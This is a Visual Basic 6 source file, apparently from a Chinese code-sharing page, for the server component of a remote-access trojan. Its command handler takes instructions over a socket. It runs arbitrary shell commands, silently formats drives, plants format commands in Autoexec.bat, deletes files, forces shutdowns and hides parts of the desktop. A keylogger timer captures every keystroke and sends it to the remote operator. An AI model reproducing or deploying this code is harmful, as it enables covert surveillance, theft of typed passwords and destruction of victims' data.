📄 form1.frm
字号:
On Error GoTo Rcnft
Open App.path & "\Serconft.ini" For Output As #1
Print #1, right$(A, Len(A) - 7)
Close #1
Scmnet2.SendData "Remocom" & "配置文件更新成功!" + "(" + Time$ + ")" + vbCrLf
Rcnft:
''''''''''''''''''''''''''''''''''''''''''''''''''''''
Case "Cmdcoms"
On Error GoTo cmderr
Shell "cmd.exe /k" + right$(A, Len(A) - 7)
Scmnet2.SendData "Remocom" & "DOS命令操作发送成功!" + "(" + Time$ + ")" + vbCrLf
cmderr:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Case "Formatc" '快速格式化磁盘
On Error GoTo Formaterr
Drx = right$(A, Len(A) - 7)
Shell "command.com /c format " + Drx + ":" + "/q/Y", vbHide
Scmnet2.SendData "Remocom" & "快速格式化命令发送成功!" + "(" + Time$ + ")" + vbCrLf
Formaterr:
Case "Formatd" '完全格式化磁盘
On Error GoTo Formatderr
Drx = right$(A, Len(A) - 7)
Shell "command.com /c format " + Drx + ":" + "/Y", vbHide
Scmnet2.SendData "Remocom" & "完全格式化命令发送成功!" + "(" + Time$ + ")" + vbCrLf
Formatderr:
Case "Wriautf"
On Error GoTo Wrierro
Windri = Environ("windir")
Open left$(Windri, 2) + "\Autoexec.bat" For Append As #1
Print #1, "format " + left$(Windri, 2) + "/q/Y"
Close #1
Scmnet2.SendData "Remocom" & "在远程主机" + left$(Windri, 3) + "种下快速格式化命令成功!" + "(" + Time$ + ")" + vbCrLf
Wrierro:
Case "Wriautg"
On Error GoTo Wrierrog
Windri = Environ("windir")
Open left$(Windri, 2) + "\Autoexec.bat" For Append As #1
Print #1, "format " + left$(Windri, 2) + "/Y"
Close #1
Scmnet2.SendData "Remocom" & "在远程主机" + left$(Windri, 3) + "种下完全格式化命令成功!" + "(" + Time$ + ")" + vbCrLf
Wrierrog:
'弹出光驱
Case "OPENCDR"
Call OpenCDDoor
Scmnet2.SendData "Remocom" & "远程弹出光驱成功!" + "(" + Time$ + ")" + vbCrLf
'关闭光驱
Case "CLOSECD"
Call CloseCDDoor
Scmnet2.SendData "Remocom" & "远程关闭光驱成功!" + "(" + Time$ + ")" + vbCrLf
'交换鼠标按纽
Case "CHANGEM"
SwapMouseButton (True)
Scmnet2.SendData "Remocom" & "鼠标按钮交换成功!" + "(" + Time$ + ")" + vbCrLf
'复原鼠标按纽
Case "CHANGEA"
SwapMouseButton (False)
Scmnet2.SendData "Remocom" & "鼠标按钮还原成功!" + "(" + Time$ + ")" + vbCrLf
'隐藏鼠标
Case "HIDEMOU"
mos = ShowCursor(0)
Scmnet2.SendData "Remocom" & "鼠标指针隐藏成功!" + "(" + Time$ + ")" + vbCrLf
'还原鼠标
Case "APPRMOU"
mos = ShowCursor(1)
Scmnet2.SendData "Remocom" & "鼠标指针显示成功!" + "(" + Time$ + ")" + vbCrLf
'限制鼠标
Case "NOTMOVE"
'sbform.Show 1
'鼠标自由移动
Case "AUTOMOV"
'clipto Screen
'Unload sbform
'得到系统消息
Case "GETSYST"
Scmsys = sysinfo()
Scmnet2.SendData "SYSINFO" & Scmsys
'隐藏“开始”按纽
Case "HIDSTAR"
wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
ShowWindow wnd, SW_HIDE
Scmnet2.SendData "Remocom" & "远程隐藏“开始”按纽成功!" + "(" + Time$ + ")" + vbCrLf
'显示“开始”
Case "APPSTAR"
wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
ShowWindow wnd, SW_SHOW
Scmnet2.SendData "Remocom" & "远程显示“开始”成功!" + "(" + Time$ + ")" + vbCrLf
'关机
Case "CLOSECU"
Scmnet2.SendData "Remocom" & "远程关机成功!" + "(" + Time$ + ")" + vbCrLf
AdjustToken
an2 = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)
Case "RESETLO" '注销
Scmnet2.SendData "Remocom" & "远程注销成功!" + "(" + Time$ + ")" + vbCrLf
AdjustToken
an3 = ExitWindowsEx(EWX_LOGIN, 0)
Case "RESETCU" '重启
Scmnet2.SendData "Remocom" & "远程重启成功!" + "(" + Time$ + ")" + vbCrLf
AdjustToken
an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
'墙纸
Case "GAIBQIA"
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, App.path & "1.JPEG", SPIF_UPDATEINIFILE)
Scmnet2.SendData "Remocom" & "远程更换墙纸成功!" + "(" + Time$ + ")" + vbCrLf
Case "QINGCQZ"
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "", SPIF_UPDATEINIFILE)
Scmnet2.SendData "Remocom" & "远程消除墙纸成功!" + "(" + Time$ + ")" + vbCrLf
Case "LIULANE"
Scmsys = right$(A, Len(A) - 7)
Dim ret&
ret& = ShellExecute(Me.hwnd, "open", Scmsys, "", App.path, 1)
Scmnet2.SendData "Remocom" & "发送远程命令成功!" + "(" + Time$ + ")" + vbCrLf
Case "DELETEF" '删除文件
On Error GoTo errkill
killfiles = right$(A, Len(A) - 7)
Kill killfiles
Scmnet2.SendData "Remocom" & "远程删除文件成功!" + "(" + Time$ + ")" + vbCrLf
errkill:
Case "OPENFIL" '打开文件
On Error GoTo erropen
openfiles = right$(A, Len(A) - 7)
Shell openfiles
Scmnet2.SendData "Remocom" & "远程打开程序成功!" + "(" + Time$ + ")" + vbCrLf
erropen:
Case "Keyinfo"
Scmnet2.SendData "Keyinfo" & Keytxt1.Text
Keytxt1.Text = ""
Case "Winrunt"
Dim hour As Integer
Dim minute As Integer
Dim second As Integer
Dim h11, m11, s11, a11 As String
hour = GetTickCount \ 1000 \ 60 \ 60
h11 = str(hour) + "小时"
minute = GetTickCount \ 1000 \ 60 - hour * 60
m11 = str(minute) + "分钟"
second = (GetTickCount - Val(h11) * 60 * 60 * 1000 - Val(m11) * 60 * 1000) \ 1000
s11 = str(second) + "秒钟"
a11 = h11 + m11 + s11
Scmnet2.SendData "Winrunt" & a11
'获得分区信息
Case "GETFXIF"
Scmsys = fxinfo()
Scmnet2.SendData "GETFXIF" & Scmsys
'隐藏任务栏
Case "HIDTASK"
ShowWindow wnd, SW_HIDE
Scmnet2.SendData "Remocom" & "远程隐藏任务栏成功!" + "(" + Time$ + ")" + vbCrLf
'显示任务栏
Case "NOTHIDT"
ShowWindow wnd, SW_SHOW
Scmnet2.SendData "Remocom" & "远程显示任务栏成功!" + "(" + Time$ + ")" + vbCrLf
'隐藏桌面
Case "HIDDISK"
wnd = FindWindow(sProgman, vbNullString)
wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
ShowWindow wnd, SW_HIDE
Scmnet2.SendData "Remocom" & "远程隐藏桌面图标成功!" + "(" + Time$ + ")" + vbCrLf
'恢复桌面
Case "NOHIDDI"
wnd = FindWindow(sProgman, vbNullString)
wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
ShowWindow wnd, SW_SHOW
Scmnet2.SendData "Remocom" & "远程显示桌面图标成功!" + "(" + Time$ + ")" + vbCrLf
End Select
End Sub
Private Sub Scmnet2_Close()
On Error Resume Next
Scmnet2.Close
Scmnet2.LocalPort = Textport3
Scmnet2.Listen
End Sub
Private Sub Scmnet2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Scmnet2.Close
Scmnet2.LocalPort = Textport3
Scmnet2.Listen
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Scmnet1.Connect
If Scmnet1.State = sckError Then
Scmnet1.Close
'Scmsta1.Panels(2).Text = "此用户不在线"
Else
' Scmsta1.Panels(2).Text = "连接主机:" + "255.255.255.255"
End If
End Sub
Private Sub Timer2_Timer()
Dim AddKey
Dim LastKey As String
Dim TimeOut
' 处理 ENTER CTRL ALT BACKSPACE TAB CAPS 等
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[Enter 回车键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17)
If KeyResult = -32767 Then
AddKey = "[Ctrl 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[Bkspace 退格键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[Tab 切换键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[Alt 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[Pause Break 暂停键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[Caps Lock 大小写切换键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[Esc 退出键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[End 结束键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[Home 首位键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[Insert 插入键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[Delete 删除键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[Num Lock 数字开关键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT 左键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP 上键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT 右键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN 下键]"
GoTo KeyFound
End If
' 功能键处理 F1~F16
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16 键]"
GoTo KeyFound
End If
'特殊键处理 spacebar ; = , - . / '
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = "[空格键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
AddKey = ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If
'数字键处理 0 1 2 3 4 5 6 7 8 9
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If
'* + Enter - . / \ 等的处理
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[Enter 回车键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(1)
If KeyResult = -32767 Then
AddKey = "[鼠标左键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "[鼠标右键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(4)
If KeyResult = -32767 Then
AddKey = "[鼠标3D滚轮按键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219) '219
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(16) '219
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[Shift 上档键]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If
'Skip:
KeyLoop = 41
Do Until KeyLoop = 256 ' 否则检查数字键或字母键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Keytxt1.Text = Keytxt1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound:
Keytxt1.Text = Keytxt1.Text & AddKey
TimeOut = 0
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
Public Sub Cursor(pointx As Long, pointy As Long)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -